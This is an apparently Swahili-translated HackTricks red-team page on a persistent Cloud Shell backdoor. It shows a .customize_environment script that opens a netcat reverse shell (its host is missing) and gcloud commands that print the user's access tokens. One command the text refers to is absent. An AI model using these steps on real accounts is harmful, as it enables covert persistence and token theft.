GCP - Cloud Shell Uendelevu

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Cloud Shell

Kwa habari zaidi angalia:

GCP - Cloud Shell Enum

Backdoor ya Kudumu

Google Cloud Shell inakupa ufikiaji wa command-line kwa rasilimali zako za cloud moja kwa moja kutoka kwa browser yako bila gharama yoyote.

Unaweza kufikia Cloud Shell ya Google kutoka kwenye konsoli ya wavuti au kwa kukimbia gcloud cloud-shell ssh.

Konsoli hii ina uwezo kadhaa wa kuvutia kwa washambulizi:

1. Any Google user with access to Google Cloud ana ufikiaji wa instance ya Cloud Shell iliyothibitishwa kikamilifu (Service Accounts pia zinaweza, hata zikiwa Owners wa org).
2. Instance hiyo itahifadhi kabrasha la nyumbani kwa angalau siku 120 ikiwa hakuna shughuli itakayofanyika.
3. Hakuna uwezo kwa shirika wa kufuatilia shughuli za instance hiyo.

Hii kwa msingi ina maana kwamba mshambuliaji anaweza kuweka backdoor katika kabrasha la nyumbani la mtumiaji na mradi mtumiaji anajiunga na GC Shell angalau baada ya kila siku 120, backdoor itadumu na mshambuliaji atapata shell kila wakati inapoendeshwa kwa kufanya tu:

Kuna faili nyingine katika folda ya nyumbani iitwayo .customize_environment ambayo, ikiwa ipo, itafanywa kila mara mtumiaji anapofungua cloud shell (kama katika mbinu iliyotangulia). Ingiza tu backdoor ya awali au moja kama ifuatayo ili kudumisha persistence mradi mtumiaji anatumia “mara kwa mara” cloud shell:

Tengeneza backdoor ya .customize_environment

```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Ni muhimu kutambua kwamba wakati wa kwanza kitendo kinachohitaji uthibitisho kinapotekelezwa, dirisha la idhini linaloibukia (pop-up) linaonekana kwenye kivinjari cha mtumiaji. Dirisha hili lazima likubaliwe kabla ya amri kuweza kutekelezwa. Ikiwa pop-up isiyotegemewa itaibuka, inaweza kuibua mshuku na kwa hivyo kuhatarisha njia ya persistence inayotumika.

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the Cloud Shell, the pop-up won’t appear and you can gather tokens of the user with:

Pata access tokens kutoka Cloud Shell

```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Jinsi muunganisho wa SSH unavyoanzishwa

Kwa ujumla, API hizi 3 zinatumiwa:

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (itakuruhusu kuongeza public key uliyoitengeneza kwa lokali)
• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (itakuruhusu kuanzisha instance)
• https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (itakuambia ip ya google cloud shell)

Lakini unaweza kupata taarifa zaidi katika https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Marejeleo

• https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
• https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
• https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.